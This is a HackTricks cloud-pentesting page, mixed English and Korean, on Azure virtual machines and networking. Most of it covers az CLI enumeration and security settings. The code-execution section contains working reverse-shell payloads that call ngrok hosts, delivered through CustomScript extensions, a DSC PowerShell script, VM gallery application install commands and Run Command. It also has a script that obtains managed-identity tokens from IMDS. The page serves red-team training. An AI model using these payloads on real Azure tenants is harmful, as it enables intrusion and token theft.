Az - Virtual Machines & Network

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Azure Networking Basic Info

Azure networks contains different entities and ways to configure it. You can find a brief 설명, examples and enumeration commands of the different Azure network entities in:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux 운영 체제. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.

Security Configurations

  • Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
  • Security Type:
  • Standard Security: This is the default security type that does not require any specific configuration.
  • Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
  • Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
  • VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
  • It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
  • NIC network security group:
  • None: Basically opens every port
  • Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Select a security group
  • Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
  • Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
  • Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: By default check protocol HTTP in port 80
  • Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
  • Most VM related resources also support locks like disks, snapshots…
  • Locks can also be applied at resource group and subscription levels

Disks & snapshots

  • It’s possible to enable to attach a disk to 2 or more VMs
  • By default every disk is encrypted with a platform key.
  • Same in snapshots
  • By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
  • Same in snapshots
  • It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
  • Same in snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

VM image는 운영 체제, application settings, 그리고 새 virtual machine (VM) 을 만들기 위해 필요한 filesystem을 포함하는 template이다. image와 disk snapshot의 차이는, disk snapshot은 단일 managed disk의 read-only point-in-time copy로서 주로 backup이나 troubleshooting에 사용되는 반면, image는 multiple disks를 포함할 수 있고 새 VM을 만들기 위한 template로 사용되도록 설계되었다는 점이다.
Images는 Azure의 Images section 또는 Azure compute galleries 안에서 관리할 수 있으며, 이를 통해 versions를 생성하고, image를 cross-tenant로 share하거나 public으로 만들 수도 있다.

restore point는 VM configuration과 VM에 연결된 모든 managed disks의 point-in-time application-consistent snapshots를 저장한다. 이는 VM과 관련되어 있으며, 특정 시점의 상태로 그 VM을 복원할 수 있도록 하는 것이 목적이다.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

From the docs: Site Recovery는 장애 중에도 비즈니스 앱과 워크로드를 계속 실행하여 비즈니스 연속성을 보장하는 데 도움이 됩니다. Site Recovery는 기본 사이트에서 보조 위치로 물리 및 virtual machines (VMs)에서 실행 중인 워크로드를 복제합니다. 기본 사이트에서 장애가 발생하면 보조 위치로 fail over하고, 그곳에서 앱에 액세스합니다. 기본 위치가 다시 실행되면, 다시 fail back할 수 있습니다.

Azure Bastion

Azure Bastion은 Azure Portal 또는 jump box를 통해 virtual machines (VMs)에 직접 안전하고 원활한 Remote Desktop Protocol (RDP)Secure Shell (SSH) 액세스를 제공합니다. 이는 VMs에 대한 public IP addresses의 필요성을 없앱니다.

Bastion은 작동에 필요한 VNet에 /26 netmask를 가진 **AzureBastionSubnet**이라는 subnet을 배포합니다. 그런 다음 RDPSSH를 사용해 browser를 통해 internal VMs에 연결할 수 있게 하여, VMs의 ports를 Internet에 노출하지 않도록 합니다. 또한 jump host로도 동작할 수 있습니다.

subscription의 모든 Azure Bastion Hosts를 나열하고 이를 통해 VMs에 연결하려면, 다음 commands를 사용할 수 있습니다:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Azure Instance Metadata Service (IMDS)는 실행 중인 virtual machine 인스턴스에 대한 정보를 제공하여 관리와 구성을 돕는다. SKU, storage, network configurations, 그리고 비라우팅 IP address 169.254.169.254에서 제공되는 REST API를 통해 예정된 maintenance events에 대한 정보와 같은 세부 정보를 제공하며, 이는 VM 내부에서만 접근 가능하다. VM과 IMDS 간의 communication은 host 내부에만 유지되어 secure access를 보장한다. IMDS를 query할 때, VM 내부의 HTTP clients는 올바른 communication을 위해 web proxies를 우회해야 한다.

또한 metadata endpoint에 접속하려면, HTTP request에 Metadata: true header가 있어야 하며 X-Forwarded-For header가 있어서는 안 된다.

metadata endpoint에 access token을 요청할 때, 기본적으로 metadata service는 system assigned managed identity가 있는 경우 이를 사용하여 token을 생성한다. system assigned managed identity가 하나도 없고 user assigned managed identity가 딱 하나인 경우에는 그것이 기본으로 사용된다. 하지만 system assigned managed identity가 없고 여러 개의 user assigned managed identities가 있는 경우, metadata service는 여러 managed identities가 있다고 알리는 error를 반환하며 어느 것을 사용할지 지정해야 한다.

다음에서 이를 enumerate하는 방법을 확인하라:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

VM에서 Code Execution

VM Extensions

Azure VM extensions는 Azure virtual machines (VMs)에서 post-deployment configuration 및 automation tasks를 제공하는 작은 applications입니다.

이를 통해 VMs 내부에서 arbitrary code를 execute할 수 있습니다.

필요한 permission은 **Microsoft.Compute/virtualMachines/extensions/write**입니다.

다음과 같이 사용 가능한 모든 extensions를 나열할 수 있습니다:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

커스텀 코드를 실행하는 custom extensions를 실행할 수 있습니다:

  • Execute a revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • 인터넷에 있는 스크립트 실행
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

관련 VM extensions

필요한 permission은 여전히 Microsoft.Compute/virtualMachines/extensions/write 입니다.

VMAccess extension

이 extension은 Windows VMs 내부의 users password를 수정하거나, 없으면 생성할 수 있게 해줍니다.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

이것은 Microsoft에 속한 VM extension으로, PowerShell DSC를 사용하여 Azure Windows VM의 구성을 관리합니다. 따라서 이 extension을 통해 Windows VM에서 arbitrary commands를 실행하는 데 사용할 수 있습니다:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

이것은 automation account에서 VM 내에서 runbook을 실행할 수 있게 해주는 VM extension입니다. 자세한 정보는 Automation Accounts service를 확인하세요.

VM Applications

이것들은 VM에 application을 쉽게 추가하고 제거하는 데 사용할 수 있는 application data와 install 및 uninstall scripts를 모두 포함한 packages입니다.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

애플리케이션이 파일 시스템 안에서 다운로드되는 경로는 다음과 같습니다:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

새 애플리케이션 설치 방법은 https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli에서 확인하세요.

Caution

개별 app와 galleries를 다른 subscription이나 tenant와 공유할 수 있습니다. 이는 공격자가 application을 backdoor하고 다른 subscription과 tenant로 pivot할 수 있게 만들 수 있기 때문에 매우 흥미롭습니다.

하지만 extensions처럼 vm apps를 위한 “marketplace“는 없습니다.

필요한 권한은 다음과 같습니다:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

임의 명령을 실행하기 위한 exploitation 예시:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

이것은 persistent data로, 언제든지 metadata endpoint에서 가져올 수 있습니다. Azure에서 user data는 AWS 및 GCP와 다른데, 여기에 script를 넣어도 기본적으로 실행되지 않기 때문입니다.

Custom data

VM에 일부 data를 전달할 수 있으며, 이는 예상되는 paths에 저장됩니다:

  • Windows에서는 custom data가 %SYSTEMDRIVE%\AzureData\CustomData.bin에 binary file로 저장되며 처리되지 않습니다.
  • Linux에서는 /var/lib/waagent/ovf-env.xml에 저장되었고, 지금은 /var/lib/waagent/CustomData/ovf-env.xml에 저장됩니다.
  • Linux agent: 기본적으로 custom data를 process하지 않으며, data가 활성화된 custom image가 필요합니다.
  • cloud-init: 기본적으로 custom data를 process하며 이 data는 several formats일 수 있습니다. custom data에 script만 넣어도 쉽게 script를 execute할 수 있습니다.
  • Ubuntu와 Debian 모두 여기 넣은 script를 execute한다는 것을 확인했습니다.
  • 또한 이를 execute하기 위해 user data를 enable할 필요도 없습니다.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

이것은 Azure가 VM에서 임의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 Microsoft.Compute/virtualMachines/runCommand/action입니다.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Azure VMs는 구성, metadata 조회 및 identity 관리를 위해 사용되는 internal platform endpoints를 노출합니다. 이들 간의 차이를 이해하는 것은 enumeration, privilege escalation and post-exploitation에 매우 중요합니다.

Wire Server (Azure Fabric Endpoint)

Azure WireServer는 플랫폼이 VM과 통신하기 위해 사용하는 internal Azure IP (168.63.129.16)입니다.

역할은 다음과 같습니다:

  • VM Agent와의 통신
  • 전달:
  • GoalState
  • ExtensionsConfig
  • internal VM configuration (including identities)
  • DHCP & DNS services
  • Health monitoring

GoalState & ExtensionsConfig

GoalState는 Azure가 정의한 VM의 desired configuration을 나타냅니다. 다음을 포함할 수 있습니다:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

ExtensionsConfig는 VM extensions의 상세 configuration을 포함하며 다음을 포함할 수 있습니다:

  • User Assigned Managed Identities
  • Extension settings
  • Secrets (depending on extension)

These endpoints are typically accessed via:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Access considerations

WireServer IP는 일반적으로 guest network stack을 통해 VM 내부에서 접근할 수 있습니다. 이것은 Azure VM Agent, Run Command, 또는 VM extensions에만 제한되지 않습니다. Microsoft는 일반적인 in-guest script가 168.63.129.16에서 GoalState를 직접 조회하는 agentless Linux provisioning 예시도 문서화해 두었습니다.

하지만 모든 process가 반드시 같은 실질적 결과를 얻는 것은 아닙니다:

  • 일부 endpoint는 GoalState의 x-ms-version: 2012-11-30 같은 Azure-specific headers를 요구합니다.
  • local guest controls는 host firewall rules, proxies, routes, network namespaces, containers, 또는 endpoint protection을 포함해 접근을 차단하거나 변경할 수 있습니다.
  • VM extensions와 Run Command는 일반적으로 VM Agent를 통해 root/SYSTEM으로 실행되므로, interactive user에 영향을 주는 local OS restrictions를 우회할 수 있습니다.
  • 일부 data는 agent/extension-specific이며 VM의 provisioning state, installed agent, configured extensions, 또는 managed identity configuration에 따라 달라질 수 있습니다.

따라서 request가 Run Command에서는 동작하지만 SSH에서는 실패한다면, 보통의 설명은 일반적인 Azure rule이 아니라 OS user, environment, routing, proxy, firewall, 또는 namespace의 차이입니다. 즉, agent execution contexts만이 168.63.129.16에 도달할 수 있다는 의미는 아닙니다.

lab testing에서는 이 구분이 확인되었습니다: Run Command 또는 Custom Script extensions를 통한 Linux/Windows VM Agent execution은 168.63.129.16의 GoalState에 접근할 수 있었지만, 다른 Linux VM의 일반 SSH session은 IMDS에는 접근할 수 있어도 GoalState 조회에서는 timeout이 발생했습니다. WireServer/GoalState는 유용하지만 environment-dependent하므로, managed identities를 열거하는 canonical한 방법으로 의존하지 마십시오.

Managed Identity Access From Inside the VM

VM의 managed identities를 사용하는 신뢰할 수 있는 방법은 WireServer ExtensionsConfig XML이 아니라 169.254.169.254IMDS managed identity endpoint입니다. UserAssignedIdentity 노드만 ExtensionsConfig에서 찾는 script는 신뢰할 수 없는데, 그 이유는 다음과 같습니다:

  • VM의 managed identity assignment가 extension XML에서 반드시 UserAssignedIdentity 노드로 표현된다고 보장되지 않습니다.
  • system-assigned managed identities를 놓칩니다.
  • 현재 GoalState/extension data가 우연히 기대하는 XML shape를 노출하는 경우에만 user-assigned identities를 찾을 수 있습니다.

Microsoft가 문서화한 security model은 VM에서 실행되는 모든 code가 해당 VM에서 사용 가능한 managed identities에 대한 token을 요청할 수 있다는 것입니다. 이는 다음 환경에서 확인되었습니다:

  • 일반 VM user로서의 Linux SSH.
  • VM Agent를 통한 Linux Run Command.
  • VM Agent를 통한 Linux Custom Script extension.
  • NT AUTHORITY\SYSTEM으로서의 Windows Custom Script extension.

이 모든 context에서, 요청한 identity를 VM이 사용할 수 있을 때 IMDS는 Management, Microsoft Graph/Entra ID, Key Vault, Storage용 token을 mint할 수 있었습니다.

혼동하기 쉬운 서로 다른 두 문제가 있습니다:

  • 알려진 identity에 대한 token 얻기: identity가 VM에 할당되어 있다면, IMDS는 https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, https://storage.azure.com/ 같은 서로 다른 audience에 대한 token을 발급할 수 있습니다. 여러 user-assigned identities가 있으면 client_id, object_id, 또는 msi_res_id로 특정 identity를 지정해 요청하십시오.
  • VM 내부에서 연결된 모든 identity를 발견하기: IMDS는 간단한 “모든 identities 목록” endpoint를 제공하지 않습니다. 실용적인 방법은 기본 Management token을 얻고, ARM을 통해 VM resource를 읽은 뒤 identity property를 확인하는 것입니다. 이 방법은 해당 managed identity가 VM에 대해 Microsoft.Compute/virtualMachines/read 같은 permission을 가질 때만 동작합니다. ARM이 403을 반환하더라도 token은 여전히 유효하고 유용할 수 있지만, VM의 전체 identity list를 열거할 수는 없습니다.

ARM discovery가 실패하더라도, GoalState와 http://168.63.129.16:32526/vmSettings 같은 WireServer/HostGAPlugin source를 시도하여 identity처럼 보이는 field들(clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs)을 찾은 다음, 그 selector로 IMDS에 token을 요청할 수 있습니다. 이는 fallback이며 보장은 아닙니다: 해당 endpoint는 context-dependent이고 managed identity selector를 전혀 노출하지 않을 수도 있습니다.

다음 예제들은 먼저 token을 요청합니다. 그런 다음 Azure Resource Manager에서 VM resource를 읽고 identity property를 출력하려고 시도합니다. 두 번째 단계는 managed identity가 VM에 대해 Microsoft.Compute/virtualMachines/read 같은 permission을 가질 때만 동작합니다.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unauth

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기